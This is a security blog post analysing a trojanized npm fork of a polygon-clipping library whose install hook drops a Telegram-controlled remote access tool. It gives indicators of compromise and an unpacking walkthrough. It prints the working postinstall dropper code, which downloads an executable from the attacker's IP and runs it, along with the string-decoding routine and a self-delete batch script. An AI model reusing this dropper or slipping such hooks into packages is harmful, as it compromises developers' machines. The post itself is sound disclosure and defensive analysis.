---
title: "martinez-polygon-clipping-tony: Trojanized npm Fork Drops Telegram RAT"
description: "martinez-polygon-clipping-tony is a trojanized fork of the legitimate martinez-polygon-clipping npm package. The postinstall hook downloads a PyInstaller-packed Telegram bot from 172.86.73.132 that provides full remote shell, screenshot capture, file upload/download, and self-destruct capabilities on Windows targets."
url: "https://safedep.io/blog/malicious-martinez-polygon-clipping-tony-npm-telegram-rat"
author: "SafeDep Team"
published: "2026-05-07"
---

# martinez-polygon-clipping-tony: Trojanized npm Fork Drops Telegram RAT

## TL;DR

`martinez-polygon-clipping-tony` is a trojanized fork of the legitimate `martinez-polygon-clipping` geometry library. Published on May 7, 2026, the package adds a `postinstall` hook that downloads a 17 MB PyInstaller-packed Windows executable from `172.86.73.132`. That binary is a Telegram-controlled RAT with remote shell execution, continuous screenshot capture, file upload/download, arbitrary Python execution, and batch-script self-destruct. The attacker spoofed the original author's email (`info@w8r.name`) while publishing under a throwaway npm account.

**Impact:**

- Arbitrary shell command execution on the victim's Windows machine via Telegram messages
- Continuous screenshot capture (configurable interval, burst mode) exfiltrated through Telegram
- File upload to victim machine and file download/exfiltration from victim machine
- Arbitrary Python code execution in the bot process
- Self-uninstall with forensic trace cleanup (deletes the binary and a batch script)
- Anti-forensic startup scrub: removes `%TEMP%\youtube_chm_unpack\dismcore.dll`

**Indicators of Compromise (IoC):**

| Indicator                 | Value                                                                          |
| ------------------------- | ------------------------------------------------------------------------------ |
| Package                   | `martinez-polygon-clipping-tony` v0.8.1 through v0.9.2                         |
| npm maintainer            | `christiano_129` (`daltonchristiano060@gmail.com`)                             |
| Related package           | `martinez-polygon-clipping-simul-dalton` v0.8.2 (same actor)                   |
| Spoofed author email      | `info@w8r.name` (belongs to legitimate `martinez-polygon-clipping` maintainer) |
| C2 IP (stage-1 download)  | `172.86.73.132`                                                                |
| Stage-2 download URL      | `hxxp://172[.]86[.]73[.]132/windows.exe`                                       |
| Stage-2 SHA-256           | `86d17961e9662c53e1fb61701388b7c741bf79c093061df968a3e53c829dcb16`             |
| Stage-2 type              | PE32+ (x86-64), PyInstaller 2.1+, Python 3.12                                  |
| Stage-2 compile time      | 2026-05-06 19:40:00 UTC                                                        |
| Telegram bot token        | `8623507214:AAHR9XdON0uL9KI8Pk7K_Bz9Wv5YB7g_shs`                               |
| Telegram operator chat ID | `8611602014`                                                                   |
| Drop path (Windows)       | `C:\Users\Public\windows.exe`                                                  |
| Mutex name pattern        | `Global\lab_obf_bot_<sha256_prefix>`                                           |
| Cleanup target            | `%TEMP%\youtube_chm_unpack\dismcore.dll`                                       |
| Self-destruct artifact    | `delete_self.bat` in the executable's directory                                |
| GitHub repo (attacker)    | `daltonchristiano060-gif/dalton-martinez`                                      |

## Analysis

### Package Overview

The legitimate [`martinez-polygon-clipping`](https://www.npmjs.com/package/martinez-polygon-clipping) is a geometry library for polygon boolean operations (union, intersection, difference), maintained by Alex Milevski (`w8r` on npm, `info@w8r.name`). It has a single stable release at v0.8.1.

The attacker cloned the package. The `package.json` copies the description verbatim, lists the author as `Tony Brown<info@w8r.name>` (spoofing the real maintainer's email with a fake name), and points the repository to `daltonchristiano060-gif/dalton-martinez` on GitHub.

The npm account `christiano_129` was created on May 7, 2026, and published eight versions within three hours. A second package, `martinez-polygon-clipping-simul-dalton`, was published the previous day under the same account: likely a test run.

```json
// Legitimate package.json
"author": "Alex Milevski <info@w8r.name>"

// Malicious package.json
"author": "Tony Brown<info@w8r.name>"
```

### Dropper Evolution: Eight Versions in Three Hours

The attack shows clear iterative development. Version 0.8.1 shipped clean (identical to the legitimate package except for name and repo URL). Subsequent versions added the `postinstall` hook, and the payload went through five distinct revisions.

**v0.8.1 (06:21 UTC):** Clean fork. No `scripts/` directory, no install hooks. Establishes registry presence.

**v0.8.3 (06:44 UTC):** Adds `scripts/postinstall.js` but with a benign payload. Writes a log file to confirm the hook fires:

```javascript
// scripts/postinstall.js (v0.8.3)
import { appendFileSync } from 'node:fs';
import { join } from 'node:path';

const cwd = process.env.INIT_CWD || process.cwd();
try {
  appendFileSync(join(cwd, 'martinez-package-install.log'), 'my package installed.\n', { flag: 'a' });
} catch {
  // ignore permissions / read-only cwd, etc.
}
```

**v0.8.7 (08:43 UTC):** First live dropper. Downloads `windows.exe` from the C2 and immediately attempts execution. No OS check, no error handling, a race condition between download and exec:

```javascript
// scripts/postinstall.js (v0.8.7)
import fs from 'node:fs';
import http from 'node:http';

http.get('http://172.86.73.132/windows.exe', (res) => {
  const file = fs.createWriteStream('windows.exe');
  res.pipe(file);
});

import { exec } from 'node:child_process';
exec('start windows.exe');
```

**v0.8.9 (08:52 UTC):** Adds a Windows platform check and drops the binary to `C:\Users\Public\`. Contains a bug: the `exec` call launches `calc.exe` instead of the downloaded payload (likely a test artifact left in by mistake):

```javascript
// scripts/postinstall.js (v0.8.9)
if (os.platform() === 'win32') {
  http.get('http://172.86.73.132/windows.exe', (res) => {
    const file = fs.createWriteStream('c:/users/public/windows.exe');
    res.pipe(file);
    exec('start calc.exe'); // Bug: launches calculator, not the payload
  });
}
```

**v0.9.0 (08:55 UTC):** Fixes the exec target to `c:/users/public/windows.exe`. Still has the download/exec race condition.

**v0.9.2 (09:06 UTC):** Final version. Adds a proper `file.on('finish')` handler to wait for the download to complete before executing:

```javascript
// scripts/postinstall.js (v0.9.2)
if (os.platform() === 'win32') {
  http.get('http://172.86.73.132/windows.exe', (res) => {
    const file = fs.createWriteStream('c:/users/public/windows.exe');
    res.pipe(file);
    file.on('finish', () => {
      file.close(() => {
        exec('start c:/users/public/windows.exe');
      });
    });
  });
}
```

The `package.json` diff against the legitimate package tells the full story. Only three things changed: the name, the repository URL, and a `postinstall` hook:

```diff
- "name": "martinez-polygon-clipping",
+ "name": "martinez-polygon-clipping-tony",

  "files": [
-   "dist/"
+   "dist/",
+   "scripts/postinstall.js"
  ],
+ "postinstall": "node scripts/postinstall.js",
```

### Stage-2 Binary: PyInstaller-Packed Telegram RAT

The downloaded `windows.exe` is a 17 MB PE32+ executable compiled on May 6, 2026 at 19:40 UTC. The `file` command and PE headers confirm a 64-bit Windows GUI application:

```
PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
Linker: MSVC 14.00.35225 (Visual Studio 2022)
```

Identifying and unpacking the PyInstaller payload takes a few steps. Start with `file` and `r2` to confirm the PE structure and spot the overlay:

```bash
$ file windows.exe
PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
```

The PE sections sum to roughly 360 KB, but the file is 17 MB. That gap is overlay data appended after the PE structure. Checking the overlay start (`last_section_paddr + last_section_size = 0x59800`) reveals a zlib stream, and searching the full binary for known signatures confirms PyInstaller markers:

```bash
$ python3 -c "
with open('windows.exe','rb') as f:
    d = f.read()
for sig, name in [(b'PYZ\x00','PYZ'), (b'MEI','MEI'), (b'pyi','pyi')]:
    i = d.find(sig)
    if i >= 0: print(f'{name} at {hex(i)}')
"
PYZ at 0xc0cd49
pyi at 0x2e5d8
MEI at 0x2f4ff
```

With PyInstaller confirmed, extract using `pyinstxtractor-ng`:

```bash
$ pip install pyinstxtractor-ng
$ python3 -m pyinstxtractor_ng windows.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Found 46 files in CArchive
[+] Found 635 files in PYZ archive
[+] Successfully extracted pyinstaller archive: windows.exe
```

The extracted directory contains the entry point `bot.pyc` and the PYZ archive contents. Since these are Python 3.12 bytecode files (too new for most decompilers), dump the constant tables and names from each code object using Python 3.12's `marshal` module directly:

```bash
$ python3.12 -c "
import marshal, types
f = open('bot.pyc', 'rb'); f.read(16); code = marshal.load(f)
def walk(c, depth=0):
    consts = [x for x in c.co_consts if not isinstance(x, types.CodeType)]
    print('  ' * depth + f'{c.co_name}: names={c.co_names}')
    print('  ' * depth + f'  consts={consts}')
    for x in c.co_consts:
        if isinstance(x, types.CodeType): walk(x, depth + 1)
walk(code)
"
```

This approach recovers all string literals, function names, module imports, and constants without needing a full decompiler. For deeper analysis, `python3.12 -m dis bot.pyc` provides the complete bytecode disassembly.

The entry point is `bot.pyc`, which imports from a custom `lab_obf` package containing the RAT logic:

```
bot.pyc                     — Launcher (mutex, startup scrub, imports lab_obf.mod_beta)
lab_obf/
  __init__.pyc              — Re-export shim
  mod_alpha.pyc             — Core runtime: shell exec, screenshots, path handling, machine fingerprinting
  mod_beta.pyc              — Entry symbol (imports tg_runtime.entry_main)
  tg_runtime.pyc            — Telegram bot wiring: command handlers, file save, code exec
  seal_v1.pyc               — String obfuscation: XOR + zlib capsule decoder
  ws_host.pyc               — Auxiliary thread spawner, Telegram polling launcher
```

### String Obfuscation: Capsule System

Sensitive strings (the Telegram bot token, operator chat ID, command names) are stored as base64-encoded, XOR-masked, zlib-compressed "capsules" in `seal_v1.pyc`. The decryption uses a per-slot SHA-256 key derived from `v1|<slot_index>`:

```python
# Reconstructed from seal_v1.pyc bytecode
def _slot_digest(slot: int) -> bytes:
    return hashlib.sha256(f'v1|{slot}'.encode()).digest()

def _strip(slot: int, capsule: bytes) -> bytes:
    raw = base64.b64decode(capsule)
    key = _slot_digest(slot)
    masked = bytes(b ^ key[i % 32] for i, b in enumerate(raw))
    return zlib.decompress(masked)
```

Decoding all eight capsule slots reveals the hardcoded configuration:

| Slot | Decoded value                                                         |
| ---- | --------------------------------------------------------------------- |
| 0    | `8623507214:AAHR9XdON0uL9KI8Pk7K_Bz9Wv5YB7g_shs` (Telegram bot token) |
| 1    | `8611602014` (operator Telegram chat ID)                              |
| 2    | `uninstall` (command keyword)                                         |
| 3    | `screenshot` (command keyword)                                        |
| 4    | `status` (command keyword)                                            |
| 5    | `stop` (command keyword)                                              |
| 6    | `delete_self.bat` (self-destruct script name)                         |
| 7    | `C:\Users\Public` (staging/upload directory)                          |

### RAT Capabilities

The Telegram bot registers handlers for commands, text messages, and file attachments. Every message is gated on the operator's chat ID (`8611602014`) and a machine-specific route prefix, allowing the attacker to control multiple infected machines from a single Telegram conversation.

**Machine fingerprinting.** Each victim gets a 16-character hex route ID derived from SHA-256 of the hostname, MAC address, and Windows `MachineGuid` registry value. The operator prefixes commands with `[route_id]` to target a specific machine.

**Remote shell.** Any text message with the route prefix that isn't a recognized command gets executed as a shell command via `cmd.exe /c`. Output is captured from temporary files (handling Windows encoding quirks including CP949, UTF-16-LE with BOM detection) and sent back through Telegram. A configurable timeout defaults to 120 seconds, capped at 3600 seconds.

**Screenshot capture.** The `screenshot` command uses PIL's `ImageGrab.grab(all_screens=True)` with DPI awareness enabled via `SetProcessDpiAwareness(2)`. Supports continuous mode (capture every N seconds until stopped) and burst mode (N screenshots at M-second intervals). Screenshots are sent as Telegram photos with the route ID as caption.

**File upload/download.** Files sent to the Telegram chat with the route ID in the caption are saved to `C:\Users\Public`. The bot also exposes `tg_download` and `tg_download_many` functions for programmatic file retrieval within Python exec blocks.

**Arbitrary Python execution.** Text blocks that parse as valid Python (determined by `ast.parse`) are executed via `exec()` in the bot's process. The attacker can run arbitrary Python with full access to the bot's imports and the victim's filesystem.

**Self-destruct.** The `uninstall` command writes a batch script that waits 3 seconds, deletes the executable and the batch script itself, then terminates the bot:

```batch
@echo off
timeout /t 3 >nul
del /f /q "C:\Users\Public\windows.exe"
del /f /q "C:\Users\Public\delete_self.bat"
```

**Anti-forensic startup scrub.** On launch, the bot sleeps 4 seconds then attempts to delete `%TEMP%\youtube_chm_unpack\dismcore.dll`. This path suggests a prior or parallel campaign that sideloads a malicious `dismcore.dll` through a fake YouTube-related tool.

**Single-instance mutex.** The bot acquires `Global\lab_obf_bot_<hash>` to prevent duplicate instances. The hash is derived from the executable's content (file size plus start/mid/end byte samples), so byte-identical copies share a mutex but recompiled variants do not.

### Auxiliary Infrastructure

The `ws_host.pyc` module spawns daemon threads at startup and launches Telegram long-polling with a 60-second poll interval and 10-second timeout. The idle worker thread sleeps for 86400 seconds (24 hours), keeping the process alive even if polling stalls.

The `mod_alpha.pyc` module contains a comprehensive Windows shell command allowlist (50+ commands including `powershell`, `certutil`, `bitsadmin`, `taskkill`, `schtasks`) used to determine whether single-line input should route to shell execution or Python exec. It also handles smart-quote normalization for Telegram's Unicode substitutions, path quoting for `cmd.exe`, and detached process launching for executables that should outlive the bot.

## Conclusion

This is a low-sophistication attack with a capable payload. The dropper went through visible trial-and-error (the `calc.exe` typo, the download race condition), and the attacker published all iterations to the public registry within three hours. The stage-2 binary, however, is a well-structured Telegram RAT with proper encoding handling, DPI-aware screenshots, multi-machine routing, and a capsule-based string obfuscation system.

The spoofed author email (`info@w8r.name`) and copied description are meant to borrow trust from the legitimate `martinez-polygon-clipping` package. The throwaway npm account and single-day publish timeline confirm this is a purpose-built attack, not a compromised maintainer.
